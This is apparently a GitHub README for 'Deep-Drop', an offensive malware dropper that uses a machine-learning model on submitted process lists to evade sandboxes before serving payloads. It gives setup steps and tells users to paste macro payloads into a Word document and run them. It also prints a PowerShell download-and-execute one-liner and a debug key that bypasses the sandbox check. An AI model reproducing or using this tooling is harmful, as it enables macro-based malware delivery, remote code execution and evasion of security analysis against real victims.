111cyber0cculte888 / deep-drop

Machine learning enabled dropper

Deep-Drop

Machine learning enabled dropper

Quick Start

pip install -r requirements.txt
python deepdrop.py

Copy paste the payload (core\macros) into a word doc and run.

Quick start

λ pip3 install requirements
λ python3 deepdrop.py -d

 ____              ____
|    \ ___ ___ ___|    \ ___ ___ ___
|  |  | -_| -_| . |  |  |  _| . | . |
|____/|___|___|  _|____/|_| |___|  _|
              |_|               |_|


[-] All models loaded
[-] Routes loaded
[-] Payloads patched for localhost

[DBG] ece9d57d-ef30-47ed-accb-46ea3c436257

 * Serving Flask app "deepdrop" (lazy loading)

Testing

Passing -d\--debug to deepdrop will give back a key that can be used to bypass the sandbox check for testing payloads. powershell.exe -c "iex (new-object net.webclient).downloadstring('http://localhost/ece9d57d-ef30-47ed-accb-46ea3c436257')". Otherwise, submitting a process list and getting a decision from the model is the only way to get a payload executed.

Staging

Currently only powershell staging is implemented.

Training

Implemented in Jupyter notebooks